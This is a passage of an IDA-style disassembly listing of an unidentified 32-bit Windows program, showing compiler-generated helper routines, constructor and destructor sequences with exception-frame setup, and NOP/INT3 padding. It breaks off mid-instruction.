ptr 4 push esi mov esi, [ecx] call sub_4018B6 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4160C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4160F0 proc near ; CODE XREF: sub_401EA6j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4160F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416120 proc near ; CODE XREF: sub_401CFDj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4012CB mov edi, eax push edi call sub_4017D5 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401DA2 sub_416120 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4017D5 push edi mov [eax], ebx call sub_4017D5 mov edi, [eax] push edi call sub_4017D5 mov ecx, [eax] push ecx call sub_401BB8 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4017DA add esp, 4 mov ecx, esi push eax call sub_401DFC mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D66 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4161C0 proc near ; CODE XREF: sub_401078j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401EA1 mov ecx, eax call sub_4012CB mov esi, eax push esi call sub_401BB8 push esi mov ebx, eax call sub_4017D5 mov ecx, [eax] push ecx call sub_401BB8 mov edx, [ebx] push esi mov [eax], edx call sub_4017D5 push esi mov ebx, eax call sub_401BB8 mov eax, [eax] push eax call sub_4017D5 mov ecx, [ebx] push esi mov [eax], ecx call sub_4017DA add esp, 1Ch mov ecx, edi push eax call sub_4013F7 push esi mov ecx, edi call sub_401EF6 sub_4161C0 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416280 proc near ; CODE XREF: sub_401401j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jz short loc_4162DA loc_416298: ; CODE XREF: sub_416280+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401EA1 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jnz short loc_416298 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4162DA: ; CODE XREF: sub_416280+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416280 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416310 proc near ; CODE XREF: sub_401DA2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401E9C sub_416310 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_416325 mov edi, esi loc_416325: ; CODE XREF: ___:00416321j push esi call sub_401BB8 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_41633A mov edi, esi loc_41633A: ; CODE XREF: ___:00416336j push esi call sub_4017D5 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416360 proc near ; CODE XREF: sub_401EF6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401857 sub_416360 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416380 proc near ; CODE XREF: sub_401BB8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416380 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163A0 proc near ; CODE XREF: sub_4017DAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4163A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163C0 proc near ; CODE XREF: sub_401E29j mov eax, ecx retn sub_4163C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163E0 proc near ; CODE XREF: sub_401D66j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40160E mov eax, esi pop esi retn 4 sub_4163E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416410 proc near ; CODE XREF: sub_401EA1j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40118B mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_416410 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416440 proc near ; CODE XREF: sub_40144Cj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_416440 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416470 proc near ; CODE XREF: sub_401104j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_416470 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416490 proc near ; CODE XREF: sub_4020D6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416490 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4164C0 proc near ; CODE XREF: sub_401E01j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_4164C0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164E0 proc near ; CODE XREF: sub_402194j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40125D add esp, 8 retn 8 sub_4164E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416510 proc near ; CODE XREF: sub_4014F6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_6 pop ecx retn 4 sub_416510 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416530 proc near ; CODE XREF: sub_401753j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_416530 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416550 proc near ; CODE XREF: sub_401A4Bj mov eax, [ecx] push eax call sub_401EFB add esp, 4 retn sub_416550 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416570 proc near ; CODE XREF: sub_4020EFj push esi mov esi, ecx mov eax, [esi] push eax call sub_40208B mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_416570 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165A0 proc near ; CODE XREF: sub_401CA8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401E56 neg al sbb eax, eax inc eax retn 4 sub_4165A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165D0 proc near ; CODE XREF: sub_401C4Ej mov eax, [ecx] retn sub_4165D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165F0 proc near ; CODE XREF: sub_401163j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4165F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416610 proc near ; CODE XREF: sub_4015A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416610 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416640 proc near ; CODE XREF: sub_4010D7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_416640 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416660 proc near ; CODE XREF: sub_4015E6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_402040 add esp, 8 retn 8 sub_416660 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416690 proc near ; CODE XREF: sub_401D4Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_5 pop ecx retn 4 sub_416690 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166B0 proc near ; CODE XREF: sub_401357j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4166B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166D0 proc near ; CODE XREF: sub_401F6Ej mov eax, [ecx] retn sub_4166D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166F0 proc near ; CODE XREF: sub_4017D5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4166F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416710 proc near ; CODE XREF: sub_401E9Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416710 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416740 proc near ; CODE XREF: sub_401857j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_416740 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416760 proc near ; CODE XREF: sub_401DFCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4020CC add esp, 8 retn 8 sub_416760 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416790 proc near ; CODE XREF: sub_4013F7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_3 pop ecx retn 4 sub_416790 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167B0 proc near ; CODE XREF: sub_40160Ej arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4167B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167D0 proc near ; CODE XREF: sub_4012CBj mov eax, [ecx] retn sub_4167D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167F0 proc near ; CODE XREF: sub_401E56j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4167F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416820 proc near ; CODE XREF: sub_40125Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41683B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41683B: ; CODE XREF: sub_416820+11j retn sub_416820 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416870 proc near ; CODE XREF: sub_402040j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41688B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41688B: ; CODE XREF: sub_416870+11j retn sub_416870 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168C0 proc near ; CODE XREF: sub_4020CCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_4168DB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_4168DB: ; CODE XREF: sub_4168C0+11j retn sub_4168C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] aRrrrrrrrrrrrrr db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0 align 4 dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447158B9h dd 0B508E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) dd 41697068h, 0FF6CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh) dd 447158B9h, 0B2CAE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_416990: ; CODE XREF: ___:00401C44j push 0FFFFFFFFh push offset loc_439FE1 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+9FD83h] mov dword ptr [esp+10h], 1Ah call sub_4021DA ; --------------------------------------------------------------------------- lea ecx, [esi+9FD6Ch] mov byte ptr [esp+10h], 19h call sub_401226 lea ecx, [esi+9FD57h] mov byte ptr [esp+10h], 18h call sub_401226 lea ecx, [esi+9FD42h] mov byte ptr [esp+10h], 17h call sub_401226 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+10h], 16h call sub_401226 lea ecx, [esi+9FC42h] mov byte ptr [esp+10h], 15h call sub_401EE2 lea ecx, [esi+9FC31h] mov byte ptr [esp+10h], 14h call sub_40176C lea ecx, [esi+9FBFFh] mov byte ptr [esp+10h], 13h call sub_401FF5 lea ecx, [esi+9FBCDh] mov byte ptr [esp+10h], 12h call sub_401DED lea ecx, [esi+9FB93h] mov byte ptr [esp+10h], 11h call sub_40187A lea ecx, [esi+9FB05h] mov byte ptr [esp+10h], 10h call sub_401113 lea ecx, [esi+9FAD3h] mov byte ptr [esp+10h], 0Fh call sub_401F28 lea ecx, [esi+9FA73h] mov byte ptr [esp+10h], 0Eh call sub_401B27 lea ecx, [esi+9FA13h] mov byte ptr [esp+10h], 0Dh call sub_4017D0 lea ecx, [esi+8F4BFh] mov byte ptr [esp+10h], 0Ch call sub_4018CA lea ecx, [esi+8F3A2h] mov byte ptr [esp+10h], 0Bh call sub_401EB0 lea ecx, [esi+8F285h] mov byte ptr [esp+10h], 0Ah call sub_402216 lea ecx, [esi+8F270h] mov byte ptr [esp+10h], 9 call sub_4017A3 lea ecx, [esi+8F247h] mov byte ptr [esp+10h], 8 call sub_401A23 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+10h], 7 call sub_4013C0 ; --------------------------------------------------------------------------- lea ecx, [esi+1E6Fh] mov byte ptr [esp+10h], 6 call sub_401235 lea ecx, [esi+1D29h] mov byte ptr [esp+10h], 5 call sub_401E83 lea ecx, [esi+1C58h] mov byte ptr [esp+10h], 4 call sub_4014F1 lea ecx, [esi+1BBEh] mov byte ptr [esp+10h], 3 call sub_401AE6 ; --------------------------------------------------------------------------- lea ecx, [esi+1B46h] mov byte ptr [esp+10h], 2 call sub_401C8F ; --------------------------------------------------------------------------- lea ecx, [esi+15Fh] mov byte ptr [esp+10h], 1 call sub_401929 lea ecx, [esi+3Eh] mov byte ptr [esp+10h], 0 call sub_40143D mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401262 ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C00 proc near ; CODE XREF: sub_401A23j push esi mov esi, ecx mov eax, [esi+15h] mov dword ptr [esi], offset off_43E050 test eax, eax jle short loc_416C17 push eax nop call near ptr 71AB9639h loc_416C17: ; CODE XREF: sub_416C00+Ej mov ecx, esi call sub_402031 pop esi retn sub_416C00 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C30 proc near ; CODE XREF: ___:0040126Cj sub_4019BFj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A23 test [esp+4+arg_0], 1 jz short loc_416C48 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416C48: ; CODE XREF: sub_416C30+Dj mov eax, esi pop esi retn 4 sub_416C30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C60 proc near ; CODE XREF: sub_4017A3j push esi mov esi, ecx mov eax, [esi+11h] mov dword ptr [esi], offset off_43E05C test eax, eax jle short loc_416C77 push eax nop call near ptr 71AB9639h loc_416C77: ; CODE XREF: sub_416C60+Ej mov ecx, esi call sub_402031 pop esi retn sub_416C60 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416C90: ; CODE XREF: ___:00401627j ; ___:loc_401C99j push esi mov esi, ecx call sub_4017A3 test byte ptr [esp+8], 1 jz short loc_416CA8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416CA8: ; CODE XREF: ___:00416C9Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416CC0 proc near ; CODE XREF: sub_40176Cj mov dword ptr [ecx], offset off_43E068 jmp sub_402031 sub_416CC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416CE0: ; CODE XREF: ___:loc_40191Aj ; ___:0040218Aj push esi mov esi, ecx call sub_40176C test byte ptr [esp+8], 1 jz short loc_416CF8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416CF8: ; CODE XREF: ___:00416CEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D10 proc near ; CODE XREF: sub_40187Aj mov dword ptr [ecx], offset off_43E074 add ecx, 4 jmp sub_401023 sub_416D10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416D30: ; CODE XREF: ___:00401E42j push 0FFFFFFFFh push offset loc_43A1C1 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+8], esi call sub_40209F ; --------------------------------------------------------------------------- lea ecx, [esi+3Eh] mov dword ptr [esp+14h], 0 call sub_4015DC lea ecx, [esi+15Fh] mov byte ptr [esp+14h], 1 call sub_40129E lea ecx, [esi+1B46h] mov byte ptr [esp+14h], 2 call sub_401FFA ; --------------------------------------------------------------------------- lea ecx, [esi+1BBEh] mov byte ptr [esp+14h], 3 call sub_4019F1 ; --------------------------------------------------------------------------- lea ecx, [esi+1C58h] mov byte ptr [esp+14h], 4 call sub_40157D lea ecx, [esi+1D29h] mov byte ptr [esp+14h], 5 call sub_401645 lea ecx, [esi+1E6Fh] mov byte ptr [esp+14h], 6 call sub_401776 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+14h], 7 call sub_401695 lea ecx, [esi+8F247h] mov byte ptr [esp+14h], 8 call sub_401820 lea ecx, [esi+8F270h] mov byte ptr [esp+14h], 9 call sub_4016B3 lea ecx, [esi+8F285h] mov byte ptr [esp+14h], 0Ah call sub_401415 lea ecx, [esi+8F3A2h] mov byte ptr [esp+14h], 0Bh call sub_401302 lea ecx, [esi+8F4BFh] mov byte ptr [esp+14h], 0Ch call sub_401271 lea ecx, [esi+8F51Fh] mov byte ptr [esp+14h], 0Dh call sub_401D11 lea ecx, [esi+9FA13h] call sub_4012FD lea ecx, [esi+9FA73h] mov byte ptr [esp+14h], 0Eh call sub_401A7D lea ecx, [esi+9FAD3h] mov byte ptr [esp+14h], 0Fh call sub_401285 lea ecx, [esi+9FB05h] mov byte ptr [esp+14h], 10h call sub_401CA3 lea ecx, [esi+9FB93h] mov byte ptr [esp+14h], 11h call sub_402103 ; --------------------------------------------------------------------------- mov byte ptr [esp+14h], 12h lea ecx, [esi+9FBCDh] call sub_401573 lea ecx, [esi+9FBFFh] mov byte ptr [esp+14h], 13h call sub_40178F lea ecx, [esi+9FC31h] mov byte ptr [esp+14h], 14h call sub_401069 lea ecx, [esi+9FC42h] mov byte ptr [esp+14h], 15h call sub_401073 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+14h], 16h call sub_401424 lea ecx, [esi+9FD42h] mov byte ptr [esp+14h], 17h call sub_401424 lea ecx, [esi+9FD57h] mov byte ptr [esp+14h], 18h call sub_401424 lea ecx, [esi+9FD6Ch] mov byte ptr [esp+14h], 19h call sub_401424 lea eax, [esp+7] lea ecx, [esi+9FD83h] push eax mov byte ptr [esp+18h], 1Ah call sub_401AFA ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416FB0 proc near ; CODE XREF: sub_401262j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_416FB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401B09 sub_416FB0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417020 proc near ; CODE XREF: sub_401929j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417020 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+179Fh] mov [esp+14h+var_4], 3Ch call sub_40206D lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_40206D lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_40206D lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_40206D lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_40206D mov byte ptr [esp+14h+var_4], 37h lea ecx, [esi+0E51h] call sub_401023 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401023 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401023 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401023 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401023 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401023 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401023 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401023 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401023 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401023 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401023 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401023 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401023 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401023 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401023 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401023 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401023 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_401AD2 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_401AD2 lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_401AD2 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_401AD2 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_401AD2 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_401AD2 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_401AD2 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_401AD2 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_401AD2 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_401AD2 mov byte ptr [esp+14h+var_4], 1Ch lea ecx, [esi+84Eh] call sub_401AD2 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_401AD2 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_401AD2 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_401AD2 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_401AD2 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_401AD2 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_401AD2 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_401AD2 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_401AD2 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_401AD2 lea ecx, [esi+574h] mov byte ptr [esp+14h+var_4], 12h call sub_401AD2 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_401AD2 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_401AD2 lea ecx, 